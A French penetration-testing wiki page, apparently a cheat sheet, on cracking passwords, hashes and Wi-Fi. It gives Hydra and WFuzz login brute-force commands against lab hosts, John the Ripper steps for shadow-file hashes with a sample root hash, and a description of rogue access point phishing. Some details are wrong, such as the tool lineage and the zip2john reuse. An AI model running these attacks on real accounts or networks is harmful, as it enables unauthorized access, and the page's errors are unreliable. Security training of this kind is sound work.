# Cracking

# [Exploitation/Cracking] Mots de passe

## Introduction

Cette page est dédiée au crackage de mots de passe avec des outils et des procédures.

[![image.png](https://wiki.neopipe.fr/uploads/images/gallery/2023-10/scaled-1680-/Pciimage.png)](https://wiki.neopipe.fr/uploads/images/gallery/2023-10/Pciimage.png)

## Psudohash

Cet outil permet de générer des mutations d'un mot de passe.

- [https://github.com/t3l3machus/psudohash](https://github.com/t3l3machus/psudohash)

[![image.png](https://wiki.neopipe.fr/uploads/images/gallery/2023-09/scaled-1680-/fnjimage.png)](https://wiki.neopipe.fr/uploads/images/gallery/2023-09/fnjimage.png)

## Cupp

Permet de générer des mots de passes pour cibler une personne ou une entité en établissant le profil de ce dernier.

- [https://github.com/Mebus/cupp](https://github.com/Mebus/cupp)

[![cupp-example.gif](https://wiki.neopipe.fr/uploads/images/gallery/2023-09/cupp-example.gif)](https://wiki.neopipe.fr/uploads/images/gallery/2023-09/cupp-example.gif)

## Crunch

Permet de générer des mots de passe selon un patern et des propriétés comme une longueur spécifique ou l'utilisation de caractères spéciaux.

- [https://github.com/jim3ma/crunch](https://github.com/jim3ma/crunch)

## Hydra

[![image.png](https://wiki.neopipe.fr/uploads/images/gallery/2023-10/scaled-1680-/jgZimage.png)](https://wiki.neopipe.fr/uploads/images/gallery/2023-10/jgZimage.png)

<p class="callout info">Certainement le plus grand outil de brute force, il permet d'attaquer divers services et des pages de login web.</p>

#### HTTP Get

```bash
hydra -l $USER -P <WORDLIST> -f <TARGET> http-get-form "<LOGIN_URL>:<PARAMETER>=<VALUE>:S=<SUCCESS_CONDITION>" -f
```

<span style="text-decoration: underline;">Exemple :</span>

```bash
hydra -l admin -P /resources/rockyou.txt -f cozyhosting.htb http-get-form "/login:username=^USER^&password=^PASS^:S=logout.php" -f
```

#### HTTP Post

```bash
hydra -l $USER -P <WORDLIST> -f <TARGET> http-post-form <LOGIN_URL>:<PARAMETER>=<VALUE>
```

<span style="text-decoration: underline;">Exemple :</span>

```bash
hydra -l admin -P /resources/rockyou.txt -f cozyhosting.htb http-post-form "/login:username=admin&password=^PASS^:Invalid username or password"
```

#### SSH

```bash
hydra -l <USER> -P <WORDLIST> -s 22 <IP> ssh
```

Exemple :

```bash
hydra -l michael -P /resources/rockyou.txt -s 22 10.10.243.36 ssh
```

## WFuzz

[![image.png](https://wiki.neopipe.fr/uploads/images/gallery/2023-09/scaled-1680-/JaLimage.png)](https://wiki.neopipe.fr/uploads/images/gallery/2023-09/JaLimage.png)

Outil de fuzzing de sous domaines mais ausside brute force de formulaires sur des pages web.

<span style="text-decoration: underline;">Exemple d'utilisation pour brute force un login sur une page web :</span>

```
wfuzz -c -z file,<WORDLIST> --hs  <MOT_ECHEC_PASS_PAGE> -d "<login>=<LOGIN>&<password>=FUZZ" <URL>
```

## Fusionner des wordlists

Cela peut être utile lorsque vous avez générer des wordlists avec différents outils avec différents critères.

Plusieurs techniques sont possibles mais certaines sont plus optimisées.

Par ailleurs, il faut supprimer les doublons pour encore optimiser et réduire la taille de la wordlist de le temps de cracking.

#### Cat

L'outil cat permet de fusionner de manière basique deux fichiers textes :

```bash
cat file1.txt file2.txt file3.txt > combined_list.txt
```

On peut ensuite supprimer les doublons avec la commande suivante :

```bash
sort combined_list.txt | uniq -u > cleaned_combined_list.txt
```

#### Duplicut

Cet outil permet de fusionner vos wordlist de manière optimisée :

- [https://github.com/nil0x42/duplicut](https://github.com/nil0x42/duplicut)

## Username generator<span style="text-decoration: underline;">  
</span>

Parfois, vous n'avez pas en votre possession le nom d'utilisateur de votre cible.

Cependant, avec son nom et son prénom vous pouvez créer une wordlist grâce à Username-Anarchy :

- [https://github.com/urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)

## CeWL

Cet outil permet de générer une wordlist à partir d'un site web :

- [https://github.com/digininja/CeWL](https://github.com/digininja/CeWL)

## Bash

Avec du scripting bash vous pouvez générer des wordlists.

Voici un exemple de script :

```bash
#!/bin/bash
for year in {2020..2021};
do
	for char in '!' '@' '#' '$' '%' '^' '&' '*' '('')';
	do
		echo "Fall${year}${char}";
	done;
done > psw.lst
```

<p class="callout info">Cette technique fonctionne bien lorsque vous avez une idée précise du pattern que doit avoir le mot de passe cible. </p>

# [Exploitation/Cracking] Hash

## Introduction

Cette page présente plusieurs outils et méthodologies pour casser des hashs.

## Crackstation

C'est le site web de référence pour cracker vos hashs en tout genre.

[https://crackstation.net/](https://crackstation.net/)

[![image.png](https://wiki.neopipe.fr/uploads/images/gallery/2023-09/scaled-1680-/fHBimage.png)](https://wiki.neopipe.fr/uploads/images/gallery/2023-09/fHBimage.png)

## Hashes.com

Cet outil en ligne est un peu similaire à crackstation mais plus performant.

S'il n'arrive pas à cracker le hash, il vous donnera au moins le type de hash (ce qui est pratique pour pouvoir lancer une attaque avec hashcat ou john par la suite).

[https://hashes.com/en/tools/hash\_identifier](https://hashes.com/en/tools/hash_identifier)

## [![image.png](https://wiki.neopipe.fr/uploads/images/gallery/2023-11/scaled-1680-/Jvtimage.png)](https://wiki.neopipe.fr/uploads/images/gallery/2023-11/Jvtimage.png)

## Name That Hash

Ce site permet d'identifier le type de hash :

- [https://nth.skerritt.blog/](https://nth.skerritt.blog/)

## NTLM.pw

Ce site permet de casser vos hashs NTLM presque instantannément. Il est composé d'une base de donnée de 8,7 milliards de hashs donc vous devriez réussir à casser vos hashs tranquillement.

- [https://ntlm.pw/](https://ntlm.pw/)

[![image.png](https://wiki.neopipe.fr/uploads/images/gallery/2023-12/scaled-1680-/6Awimage.png)](https://wiki.neopipe.fr/uploads/images/gallery/2023-12/6Awimage.png)

## JohnTheRipper

C'est un incontournable pour les attaques brute force à partir de wordlist.

Il supporte plusieurs formats comme des archives zip ou rar et même des mots de passes systèmes Windows ou Linux.

#### [![image.png](https://wiki.neopipe.fr/uploads/images/gallery/2023-09/scaled-1680-/jGvimage.png)](https://wiki.neopipe.fr/uploads/images/gallery/2023-09/jGvimage.png)Password Unix

Saisir la ligne de l'utilisateur concerné du fichier **/etc/passwd** dans le fichier **passwd.txt** :

```
root:x:0:0:root:/root:/bin/bash
```

Saisir la ligne de l'utilisateur concerné du fichier **/etc/shadow** dans le fichier **shadow.txt** :

```
root:$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1:18226:0:99999:7:::
```

Obtenir le fichier **unshadowed.txt** qui sera approprié pour casser le hash avec john :

```bash
unshadow passwd.txt shadow.txt > unshadowed.txt
```

Puis lancer l'attaque avec john :

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
```

#### Mot de passe archive ZIP

Obtenir le hash du mot de passe de l'archive grâce à **zip2john** :

```
zip2john archive.zip > hash.txt
```

Lancer l'attaque :

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

#### Mot de passe archive RAR

Obtenir le hash du mot de passe de l'archive grâce à **zip2john** :

```
zip2john archive.zip > hash.txt
```

Lancer l'attaque :

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

#### Phrase de passe SSH

Obtenir le hash du mot de passe de l'archive grâce à **zip2john** :

```
ssh2john archive.zip > hash.txt
```

Lancer l'attaque :

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

#### Mot de passe mySQL

Si vous parvenez à extraire des mots de passe d'utilisateurs dans une table de base de donnée mySQL, vous pouvez l'attaquer avec john :

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

#### Génération de wordlist

John permet la génération d'une wordlist mutée (des mutations vont être générées selon des règles) :

```
john --wordlist=<LIST> --rules=<RULE> --stdout > <OUTPUT>
```

Par exemple :

```
john --wordlist=clinic.lst --rules=Single-Extra --stdout > custom-02.lst
```

Vous pouvez lister les règles disponibles avec la commande suivante :

```bash
cat /etc/john/john.conf|grep "List.Rules:" | cut -d"." -f3 | cut -d":" -f2 | cut -d"]" -f1 | awk NF
```

<p class="callout warning">L'emplacement du fichier de configuration de john peut varier selon votre système.</p>

<p class="callout info">Sur Exegol, il est situé dans  **/opt/tools/john/run/**  
</p>

Vous pouvez créer vos propres règles en ajoutant ce type de configuration dans le fichier :

```
[List.Rules:Example-01] 
Az"[0-9]" ^[!@#$]
```

- **Az** représente un mot de la wordlist originale.
- **"\[0-9\]"** représente un chiffre.
- **^\[!@#$\]** représente l'utilisation de caractères spéciaux à la fin de la chaîne (ici les caractères **! @ #** et **$**). Utiliser **$** à la place de **^** mettra le caractère spécial au début de la chaîne.

## HashID

Cet outil en ligne de commande permet d'identifier le type de hash auquel vous faites face.

Pour l'installer sur les distributions basées sur Debian :

```bash
sudo apt install -y hashid
```

Et voici la syntaxe :

```bash
hashid -m <HASH>
```

## Hashcat

Il s'agit d'un outil similaire à John mais ayant une option permettant d'utiliser la puissance GPU pour décupler les performances et essayer un nombre bien plus grand de combinaisons par seconde.

Il est vivement conseillé de l'utiliser sur Windows avec les cartes graphiques Nvidia puisque les pilotes ne sont pas pleinement supportés sous Linux et réduisent donc la puissance de calcul utilisable.

[![image.png](https://wiki.neopipe.fr/uploads/images/gallery/2023-09/scaled-1680-/5aaimage.png)](https://wiki.neopipe.fr/uploads/images/gallery/2023-09/5aaimage.png)

#### Syntaxe globale

```bash
hashcat --hash-type <NUMBER> --attack-mode 0 <HASH_FILE> <PASSWORD_LIST>
```

Le type de hash varie selon le type de mot de passe que vous essayez de casser.

Vous pouvez retrouver la liste ici :

[https://hashcat.net/wiki/doku.php?id=example\_hashes](https://hashcat.net/wiki/doku.php?id=example_hashes)

## OPHcrack

[![image.png](https://wiki.neopipe.fr/uploads/images/gallery/2023-11/scaled-1680-/dYXimage.png)](https://wiki.neopipe.fr/uploads/images/gallery/2023-11/dYXimage.png)

Cet outil disponible sur Windows et Linux permet de lancer des attaques **Rainbow tables** sur les hashs.

Ce type d'attaque consiste à prendre des listes de mots de passe avec leur hash associé (appelées rainbow tables), et de comparer ce hash avec celui à cracker. Si le hash correspond, cela veut dire que l'on a trouvé le mot de passe.

Cependant, ce type d'attaque ne marche que sur certains algorithmes de hashages faibles tel que **LM**, **NTML** ou **MD5** car ils n'utilisent pas de salage.

Voici le site officiel du projet où vous pourrez télécharger le logiciel ainsi que des rainbow tables :

[https://ophcrack.sourceforge.io/](https://ophcrack.sourceforge.io/)

Si vous souhaitez télécharger d'autres rainbow tables, vous pouvez vous rendre sur le site suivant :

[http://project-rainbowcrack.com/](http://project-rainbowcrack.com/)

# [Cracking] Wordlists

## Introduction

Quelques wordlists très pratiques pour faire de l'énumération de site web ou du cracking de mots de passe.

[![image.png](https://wiki.neopipe.fr/uploads/images/gallery/2023-10/scaled-1680-/cDGimage.png)](https://wiki.neopipe.fr/uploads/images/gallery/2023-10/cDGimage.png)

## Wordlists

#### RockYou

- [https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt](https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt)

#### Stun

- [https://korben.info/une-liste-de-15-milliards-de-mots-de-passe.html](https://korben.info/une-liste-de-15-milliards-de-mots-de-passe.html)

#### Fuzzing Dirbuster

- <span style="text-decoration: underline;">Small</span> : [https://github.com/daviddias/node-dirbuster/blob/master/lists/directory-list-2.3-small.txt](https://github.com/daviddias/node-dirbuster/blob/master/lists/directory-list-2.3-small.txt)
- <span style="text-decoration: underline;">Medium</span> : [https://github.com/daviddias/node-dirbuster/blob/master/lists/directory-list-2.3-medium.txt](https://github.com/daviddias/node-dirbuster/blob/master/lists/directory-list-2.3-medium.txt)
- <span style="text-decoration: underline;">Big</span> : [https://github.com/daviddias/node-dirbuster/blob/master/lists/directory-list-2.3-big.txt](https://github.com/daviddias/node-dirbuster/blob/master/lists/directory-list-2.3-big.txt)

#### SecLists

Plusieurs listes intéressantes d'utilisateurs, mots de passe, sous-répertoire web etc :

- [https://github.com/danielmiessler/SecLists](https://github.com/danielmiessler/SecLists)

#### Richelieu (french wordlist)

- [https://github.com/tarraschk/richelieu](https://github.com/tarraschk/richelieu)

#### Kaonashi

- [https://github.com/kaonashi-passwords/Kaonashi](https://github.com/kaonashi-passwords/Kaonashi)

#### PacketStormSecurity (wordlist par pays)  


- [https://packetstormsecurity.com/Crackers/wordlists/page4/](https://packetstormsecurity.com/Crackers/wordlists/page4/)

#### Awesome wordlists

- [https://github.com/gmelodie/awesome-wordlists](https://github.com/gmelodie/awesome-wordlists)

# [Exploitation/Cracking] Rainbow Tables

## Introduction

Les **rainbow tables** sont des bases de données pré-calculés de hash qui permettent de gagner un temps colossal lors des attaques par force brute.

Il s'agit en outre d'une table associant un mot de passe avec son hash ce qui évite de devoir recalculé le hash lors de l'attaque brute force.

Cependant, ce type d'attaque ne fonctionne plus lorsqu'un algorithme utilisant le salage est utilisé car pour un même mot de passe, plusieurs hashs seront valides (en fonction du salage bien sûr).

## ![image.png](https://wiki.neopipe.fr/uploads/images/gallery/2023-10/scaled-1680-/EPJimage.png)Algorithme vulnérables

Voici la liste des algorithmes de hashage vulnérables :

- **NTLM**
- **SHA-1**
- **MD5**
- **LM**
- **Half-LM**

## Télécharger des rainbow tables

- [Free Rainbow Tables](https://freerainbowtables.com/)

# [Exploitation/Cracking] Wifi

## Introduction

Cette page décrit des méthodologies et des outils pour compromettre des réseaux utilisant le protocole Wifi.

## Aircrack-ng

Certainement l'outil le plus célèbre pour pirater des réseaux wifi, il est aussi celui demandant le plus de ressources.

Il requiert une carte wifi supportant l'injection de paquet et le mode moniteur et une puissance de calcul suffisante pour casser le mot de passe par la suite.

En effet, l'objectif va être d'envoyer un paquet de *désauthentification* pour récupérer un **handshake** contenant le hash du mot de passe du wifi qu'on appelle **psk**.

Une fois le hash capturé, il ne reste plus qu'à lancer une attaque hors-ligne sur celui-ci pour obtenir le mot de passe en clair.

Le temps de cracking peut être plus ou moins long selon la puissance de calcul disponible et la complexité du mot de passe.

[![image.png](https://wiki.neopipe.fr/uploads/images/gallery/2023-09/scaled-1680-/P1ximage.png)](https://wiki.neopipe.fr/uploads/images/gallery/2023-09/P1ximage.png)

## Fern

[![image.png](https://wiki.neopipe.fr/uploads/images/gallery/2023-09/scaled-1680-/VlWimage.png)](https://wiki.neopipe.fr/uploads/images/gallery/2023-09/VlWimage.png)

## WiFiPumpkin3

Anciennement nommé EvilGinx, cet outil est en mesure de créer des faux points d'accès wifi permettant de piéger des utilisateurs du réseau wifi cible en espérant récupérer le mot de passe du réseau wifi par des attaques phishing exécutées en local.

[![image.png](https://wiki.neopipe.fr/uploads/images/gallery/2023-09/scaled-1680-/zbBimage.png)](https://wiki.neopipe.fr/uploads/images/gallery/2023-09/zbBimage.png)